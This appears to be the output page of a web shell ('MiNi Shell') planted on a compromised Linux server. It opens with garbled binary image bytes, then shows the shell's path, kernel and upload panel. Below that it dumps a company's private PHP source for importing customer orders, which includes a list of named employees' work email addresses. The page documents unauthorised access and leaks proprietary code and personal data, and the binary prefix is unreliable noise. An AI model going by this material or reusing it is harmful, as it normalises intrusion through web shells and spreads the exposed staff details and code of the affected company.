JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportCompaniesOrdersAction.php

<?php

namespace console\controllers\actions;

use \Yii;
use common\models\CompaniesOrdersArchive;

class ImportCompaniesOrdersAction extends ImportAbstractAction
{       
    public $idPortal;
    public $limit;
    public $offset;
    
    private $orders = [];
    private $operatorsMap = [];
    private $packagesMap = [];
    private $inquiriesOperationsMap = [];
    private $portalsMap = [];
    private $servicesMap = [];
    private $dataUpdateOperationsMap = [];
    private $productsOperationsMap = [];
    private $presentationsOptionsMap = [];
    private $whoPreparesMap = [];
    private $durationWhatMap = [];
    private $presentationsTabsMap = [];
//    private $termsMap = [];
    
    public function run() 
    { 
        $debugMode = self::DEBUG_MODE_ON;
        
        $this->getOrders();

//        var_dump(count($this->orders));exit;
        
        if(empty($this->orders)) {
            var_dump('brak danych do przetworzenia');
            exit;
        }
        
        $innorrectImports = [];
        
        foreach($this->orders as $order) {
            if($this->checkIfSelectedRecordExists($order['id'])) {
                continue;
            }        

            if($debugMode === self::DEBUG_MODE_ON) {
                echo "\n".'Zamowienie ID: '.$order['id'].' - ';
            } 
            $innorrectImports[$order['id']] = true;
            
            $modelCompanyOrderArchive = $this->createModelCompaniesOrdersArchive($order);    
            if(($result = $this->trySaveModel($modelCompanyOrderArchive, $order['id'], $debugMode)) !== true) {
                continue;
            } 
            
            if($debugMode === self::DEBUG_MODE_OFF) {
                $this->saveOperationStatus(self::STATUS_OK, $order['id'], $modelCompanyOrderArchive->_id);
//                echo 'zapisane';
                unset($innorrectImports[$order['id']]);
            } else {
                $modelCompanyOrderArchive->delete();
                echo 'zapisane';
                unset($innorrectImports[$order['id']]);
            }
        }
        
        if(!empty($innorrectImports)) {
            echo "\n".'ID niezaimportowancyh zamowien: '.implode(", ", array_keys($innorrectImports));
        }
    }
    
    private function getOrders()
    {
        $this->orders = [];
        
        if(!empty($this->limit)) {
            if(!empty($this->offset)) {
                $limit = 'LIMIT '.intval($this->offset).','.intval($this->limit);
            } else {
                $limit = 'LIMIT '.intval($this->limit);
            }
        } else {
            $limit = 'LIMIT 100';
        }
        
        if(!empty($this->idPortal)) {     
            $sql = 'SELECT z.* FROM vcallcenter_zamowienia z, vcallcenter_firmy_portal fp WHERE z.id_firma = fp.id_firma AND fp.id_portal = '.intval($this->idPortal).' AND z.id_portal = '.intval($this->idPortal).' ORDER BY id ASC '.$limit;
        } else {
            $sql = 'SELECT z.* FROM vcallcenter_zamowienia z ORDER BY id ASC '.$limit;
        }
        
//        $sql = 'SELECT z.* FROM vcallcenter_zamowienia z, vcallcenter_firmy_portal fp WHERE z.id_firma = fp.id_firma AND fp.id_portal = 1 AND z.id_portal = 1 ORDER BY id ASC LIMIT 200';
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return;
        }        
        
        $idsOldCompanies = [];
//        $idsOrders = [];
        foreach($rows as $row) {
            $idOldCompany = intval($row['id_firma']);
            $idsOldCompanies[$idOldCompany] = $idOldCompany;
//            $idsOrders[$row['id']] = $row['id'];
        }
        
        $oldCompaniesToUsersMap = [];
        
        if(!empty($this->idPortal)) {     
            $sql = 'SELECT * FROM vcallcenter_firmy_portal WHERE id_firma IN ('.implode(",", $idsOldCompanies).') AND id_portal = '.intval($this->idPortal);
        } else {
            $sql = 'SELECT * FROM vcallcenter_firmy_portal WHERE id_firma IN ('.implode(",", $idsOldCompanies).')';
        }
        
//        $sql = 'SELECT * FROM vcallcenter_firmy_portal WHERE id_firma IN ('.implode(",", $idsOldCompanies).') AND id_portal = 1';
        $rows2 = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        foreach($rows2 as $row2) {
            $oldCompaniesToUsersMap[$row2['id_firma']][$row2['id_portal']] = intval($row2['id_user']);
        }
        unset($rows2);
        
        foreach($rows as $row) {
            $idOldUser = null;
            if(!isset($oldCompaniesToUsersMap[$row['id_firma']][$row['id_portal']])) {   
                if(!empty($oldCompaniesToUsersMap[$row['id_firma']])) {
                    foreach($oldCompaniesToUsersMap[$row['id_firma']] as $idPortal => $idOldUser) {
                        $idNewCompany = $this->getIdCompanyForOldIdUser($idOldUser);
                        if(!empty($idNewCompany)) { 
                            break;
                        }
                        break;
                    }
                } else {
                    continue;
                }
            } else {
                $idOldUser = $oldCompaniesToUsersMap[$row['id_firma']][$row['id_portal']];
                $idNewCompany = $this->getIdCompanyForOldIdUser($idOldUser);
            }
            
            if(empty($idNewCompany)) {  
                continue;
            }
                        
            $row = $this->convertDataLatin2ToUTF8($row);
            $row['id_company'] = $idNewCompany;
            $row['id_operator'] = isset($this->operatorsMap[$row['przyjmujacy_email']]) ? $this->operatorsMap[$row['przyjmujacy_email']] : 0;
            
            $items = $this->parseItemsHtml($row['przedmioty']);
            
            $this->orders[$row['id']] = $row;
            $this->orders[$row['id']]['items'] = $items;
            
        }

        if(empty($this->orders)) {
            return;
        }
        
        $sql = 'SELECT * FROM vcallcenter_zamowienia_warunki WHERE id_zamowienia IN ('.implode(",", array_keys($this->orders)).')';
        $rows = Yii::$app->dbVcallcenter->createCommand($sql)->queryAll();
        if(!empty($rows)) {
            $itemsTerms = [];
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);
                $itemsTerms[intval($row['id_zamowienia']).'_'.intval($row['id_produkt'])][$row['nazwa']] = $row['wartosc'];
            } 
            unset($rows);

            foreach($itemsTerms as $idOrderAndItem => $terms) {
                list($idOrder, $idItem) = explode("_", $idOrderAndItem);
                if(!empty($this->orders[$idOrder]['items'][$idItem])) {
                    $this->orders[$idOrder]['items'][$idItem] = array_merge($this->orders[$idOrder]['items'][$idItem], $this->parseItemTerms($terms));
                }
            }
            unset($itemsTerms);
        }
        
    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->getUsersToCompaniesMap();
        $this->getVcallcenterCompaniesToCompaniesMap();
        
        //@todo przed importem sprawdzić, czy tabela jest aktualna - stan na dzień 24.10.2019    
        $this->operatorsMap = [            
            'adam@vertica.pl' => 94, 
            'agnieszka.glama@vertica.pl' => 159,
            'agnieszka.piotrowska@vertica.pl' => 123,
            'aleksandra.grzegorczyk@vertica.pl' => 154,
            'angelina.ogrodnik@vertica.pl' => 124,
            'anna.loranc@vertica.pl' => 126,
            'anna.owedyk@vertica.pl' => 138,
            'beata.nadolska@vertica.pl' => 143,
//            'bleble@vertica.pl', //@todo wydaje się, że adres dotyczy jakiegoś testowego zamówienia - dane wskazują na Dominika
            'damian@vertica.pl' => 103,
            'dawid.kolodziejczyk@vertica.pl' => 133,
            'dominik@vertica.pl' => 100,
//            'dominique@vertica.pl', //@todo adres wydaje się fikcją - 4 zamówienia wyglądające na testowe, dane na "Paweł Czaczyk"
//            'emailingi@vertica.pl', //@todo dane zamówień wskazują na lukasz@vertica.pl
            'ewelina.fraszczak@vertica.pl' => 182,
            'ewelina.michalek@vertica.pl' => 173,
            'izabella.przybylska@vertica.pl' => 160,
            'joanna.wesolowska@vertica.pl' => 134,
            'karolina.karnicka@vertica.pl' => 107, //email odnosi się do Karoliny Melik (karolina.melik@vertica.pl)
            'karolina.majcherczak@vertica.pl' => 128, //@todo mail należy do Karoliny Nowak (karolina.nowak@vertica.pl)
            'karolina.melik@vertica.pl' => 107,
            'karolina.nowak@vertica.pl' => 128, 
            'kasia.rosol@vertica.pl' => 122,
            'kasia.szymborska@vertica.pl' => 108, //email związany jest z dwoma profilami, ale jeden z nich (id=109) jest wyłączony
            'kasia.wozniecka@vertica.pl' => 118,
            'katarzyna.kopyczynska@vertica.pl' => 145,
            'katarzyna.palicka@vertica.pl' => 186,
            'lukasz@vertica.pl' => 104, 
            'maciej.gil@vertica.pl' => 142,
            'maciej@vertica.pl' => 106,
            'maria.slowik@vertica.pl' => 121,
            'mariusz.zgierski@vertica.pl' => 165,
            'martyna.szydlowska@vertica.pl' => 146,
            'milena.kubiak@vertica.pl' => 183,
            'miroslawa.michalska@vertica.pl' => 129,
            'monika.lewandowska@vertica.pl' => 176,
            'patrycja.kolczynska@vertica.pl' => 152,
            'piotr.horodyski@vertica.pl' => 127,
            //'robert@vertica.pl', //mail kodera, który klikał jakieś testowe zamówienia
            'sandra@vertica.pl' => 175,
            'sylwia.dawid@vertica.pl' => 136,
            'sylwia.klimczak@vertica.pl' => 144,
            'tomasz.pawlowski@vertica.pl' => 137,
            'werwer@ddsfasdf.pl' => 88,
            'wojciech.linde@vertica.pl' => 161,
            'zuzanna.dziwnik@vertica.pl' => 105, 
            'zuzanna@vertica.pl' => 105, //@todo mail nie istnieje, ale po danych jednego zamówienia (11127) widać wyraźnie, że chodzi o Zuzannę Dziwnik (zuzanna.dziwnik@vertica.pl)
        ];
        
        $this->packagesMap = [
            0 => 'Starter',
            1 => 'Podstawowy',
            2 => 'Standard',
            3 => 'Standard Plus',
            4 => 'Premium',
            5 => 'Exclusive',
            6 => 'Niestandardowy',
        ];
        
        $this->inquiriesOperationsMap = [
            0 => 'bez danych',
            1 => 'z danymi',
            2 => 'nie wysyłamy',
        ];

        $this->portalsMap = [];
        $rows = Yii::$app->dbVortale->createCommand('SELECT id_sl_portal AS id, nazwa AS name FROM sl_portal')->queryAll();
        foreach($rows as $row) {
            $this->portalsMap[intval($row['id'])] = $this->convertDataLatin2ToUTF8($row['name']);
        }
        unset($rows);
        
        $this->dataUpdateOperationsMap = [
            0 => 'Bez aktualizacji', 
            1 => 'Strona WWW', 
            2 => 'Materiały, które podeśle Klient', 
            3 => 'Czekamy na informacje, bo nie można skontaktować się z Klientem', 
            4 => 'Inne'
        ];

        $this->productsOperationsMap = [
            0 => 'Nie aktualizujemy', 
            1 => 'Prezentacja nie zawiera produktów', 
            2 => 'Dodajemy losowo', 
            3 => 'Klient podeśle listę'
        ];

        $this->presentationsOptionsMap = [
            0 => 'Nowa prezentacja', 
            1 => 'Kontynuacja', 
            2 => 'Powrót'
        ];
        
        $this->whoPreparesMap = [
            0 => 'Vertica', 
            1 => 'Klient', 
            2 => 'nie określono'
        ];
        
        $this->durationWhatMap = [
            0 => 'dzień', 
            1 => 'tydzień', 
            2 => 'miesiąc', 
            3 => 'rok'
        ];
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT id, nazwa AS name FROM serwis_uslugi')->queryAll();
        foreach($rows as $row) {
            $this->servicesMap[intval($row['id'])] = $this->convertDataLatin2ToUTF8($row['name']);
        }
        unset($rows);
        
        $this->presentationsTabsMap = [
            1 => 'Rozszerzone dane kontaktowe',
            2 => 'Branże i zasięg',
            3 => 'O firmie',
            4 => 'Oferta',
            5 => 'Produkty i usługi',
            6 => 'Referencje i nagrody',
            7 => 'Publikacje',
            8 => 'Do pobrania',
            9 => 'Galerie',
            10 => 'Wideo',
            11 => 'Dane kontaktowe - starter',
            12 => 'Dane kontaktowe - podstawowy',
        ];
        
        parent::init();
    }
    
    protected function parseItemsHtml($htmlData)
    {
        $output = [];
        
        $patternsByFields = [
            'name' => "'<p style=\"margin-left:10px; width:500px;\">.*? (.*?)<.*?>'si",
            'realization_time' => "'<li>Czas realizacji: (.*?)</li>'si",
            'cost' => "'<li>Koszt: (.*?)</li>'si",
            'price' => "'<li>Cennik: (.*?)</li>'si",
            'general_annotations' => "'<div style=\"margin-left:10px; width:500px;\">.*? (.*?)<.*?>'si"
        ];
        
        foreach($patternsByFields as $field => $pattern) {
            $matches = [];
            preg_match_all($pattern, $htmlData, $matches);
            if(!empty($matches[1])) {
                foreach($matches[1] as $key => $match) {
                    $output[$key][$field] = $match;
                }
            }
        }

        return $output;
    }
    
    protected function parseItemTerms($data)
    {
        $outputData = [
            'realization_date' => '',
            'portal' => '',
            'products_annotations' => '',
            'products_operations' => '',
            'service' => '',
            'data_update_operations' => '',
            'data_update_annotations' => '',
            'www' => '',
            'inquiries_operations' => '',
            'package' => '',
            'presentation_option' => '',
            'annotations' => '',
            'who_prepares' => '',
            'duration_quantity' => '',
            'duration_what' => '',
            'shipments_quantity' => '',
            'products_quantity' => '',
            'presentation_tabs' => []
        ];
        foreach($data as $key => $value) {
            if(empty($value) && !is_numeric($value)) {
                continue;
            }
            switch($key) {
                case 'data_realizacji_od':                    
                    $outputData['realization_date'] = !empty($outputData['realization_date']) ? $value.' - '.$outputData['realization_date'] : $value; 
                    break;
                case 'data_realizacji_do':                    
                    $outputData['realization_date'] = !empty($outputData['realization_date']) ? $outputData['realization_date'].' - '.$value : $value;                    
                    break;                
//                case 'id_produkt':
//                    
//                    break;
                case 'uslugi':
                    $valueParts = explode("|", $value);
                    $idService = intval(trim($valueParts[0]));
                    if($idService !== 0 && isset($this->servicesMap[$idService])) {
                        $outputData['service'] = $this->servicesMap[$idService];
                    }
                    break;
                case 'portal':
                    if(isset($this->portalsMap[intval($value)])) {
                        $outputData['portal'] = $this->portalsMap[intval($value)];
                    }
                    break;
                case 'produkty_uwagi':
                    $outputData['products_annotations'] = $value;
                    break;
                case 'produkty':
                    if(isset($this->productsOperationsMap[intval($value)])) {
                        $outputData['products_operations'] = $this->productsOperationsMap[intval($value)];
                    }
                    break;
                case 'dane_do_aktualizacji_uwagi':
                    $outputData['data_update_annotations'] = $value;
                    break;
                case 'dane_do_aktualizacji':
                    if(isset($this->dataUpdateOperationsMap[intval($value)])) {
                        $outputData['data_update_operations'] = $this->dataUpdateOperationsMap[intval($value)];
                    }                    
                    break;
                case 'www':
                    $outputData['www'] = $value;
                    break;
                case 'ezo':
                    $outputData['inquiries_operations'] = $this->inquiriesOperationsMap[intval($value)];
                    break;
                case 'pakiety': 
                    $outputData['package'] = $this->packagesMap[intval($value)];
                    break;
                case 'prezentacja':
                    if(isset($this->presentationsOptionsMap[intval($value)])) {
                        $outputData['presentation_option'] = $this->presentationsOptionsMap[intval($value)];
                    }
                    break;
                case 'uwagi':
                    $outputData['annotations'] = $value;
                    break;
                case 'kto_przygotowuje':
                    if(isset($this->whoPreparesMap[intval($value)])) {
                        $outputData['who_prepares'] = $this->whoPreparesMap[intval($value)];
                    }
                    break;
                case 'emisja_czego':
                    if(isset($this->durationWhatMap[intval($value)])) {
                        $outputData['duration_what'] = $this->durationWhatMap[intval($value)];
                    }
                    break;
                case 'emisja_ile':
                    $outputData['duration_quantity'] = $value;
                    break;
                case 'ilosc_wysylek':
                    $outputData['shipments_quantity'] = $value;
                    break;
                case 'produkty_uslugi_ilosc':
                    $outputData['products_quantity'] = $value;
                    break;
                case 'zakladki':
                    $valueParts = explode("|", $value);
                    $tabs = [];
                    if(!empty($valueParts)) {
                        foreach($valueParts as $valuePart) {
                           if(isset($this->presentationsTabsMap[intval($valuePart)])) {
                               $tabs[] = $this->presentationsTabsMap[intval($valuePart)];
                           }
                        }
                    }
                    
                    $outputData['presentation_tabs'] = $tabs;
                    break;
            }
        }
        
        return $outputData;
    }
    
    protected function createModelCompaniesOrdersArchive($data)
    {
        $model = new CompaniesOrdersArchive();

        $model->_id = intval($data['id']);
        $model->id_company = $data['id_company'];
        $model->id_operator = $data['id_operator'];
        $model->portal = !empty($this->portalsMap[intval($data['id_portal'])]) ? $this->portalsMap[intval($data['id_portal'])] : '';
        $model->locality_and_date = $data['miejscowosc_data'];        
        $model->payment_rules = $data['warunki_platnosci'];
        $model->payment_term = $data['termin_platnosci'];
        $model->annotations = $data['uwagi'];
        $model->annotations_internal = $data['uwagi_wewnetrzne'];
        $model->amount_total = $data['laczny_koszt'];
        $model->discount = $data['rabat'];
        $model->amount_to_pay = $data['do_zaplaty'];
        switch(intval($data['pieczatka'])) {
            case 0:
                $model->stamp = 'z podpisem';
                break;
            case 1:
                $model->stamp = 'bez podpisu';
                break;
            case 2:
                $model->stamp = 'brak pieczątki';
                break;
            default:
                $model->stamp = 'z podpisem';
                break;
        }        
        $model->purchaser = $data['zamawiajacy'];
        $model->purchaser_presentation_data = $data['zamawiajacy_dane_do_publikacji'];
        $model->or_proforma_invoice = (intval($data['zamawiajacy_pro_forma']) === 1) ? 'tak' : 'nie';
        $model->purchaser_position = $data['stanowisko_zamawiajacy'];
        $model->purchaser_personal_data = $data['imie_nazwisko_zamawiajacy'];
        $model->purchaser_email = $data['email_zamawiajacy'];
        $model->purchaser_phone = $data['telefon_zamawiajacy'];
        $model->purchaser_other = $data['inne_zamawiajacy'];
        $model->recipient = $data['przyjmujacy'];
        $model->recipient_position = $data['przyjmujacy_tytul'];
        $model->recipient_personal_data = $data['przyjmujacy_imie'].' '.$data['przyjmujacy_nazwisko'];
        $model->recipient_email = $data['przyjmujacy_email'];
        
        $createdAtTime = (!empty($data['cd']) && $data['cd'] !== '0000-00-00') ? strtotime($data['cd']) : strtotime('1970-01-01');
        $model->created_at = new \MongoDB\BSON\UTCDateTime($createdAtTime*1000);
        $updatedAtTime = (!empty($data['data_zmian']) && $data['data_zmian'] !== '0000-00-00 00:00:00') ? strtotime($data['data_zmian']) : strtotime('1970-01-01');
        $model->updated_at = new \MongoDB\BSON\UTCDateTime($updatedAtTime*1000);
        
        $model->items = $data['items'];
        
        return $model;
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_companies_orders_2';
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com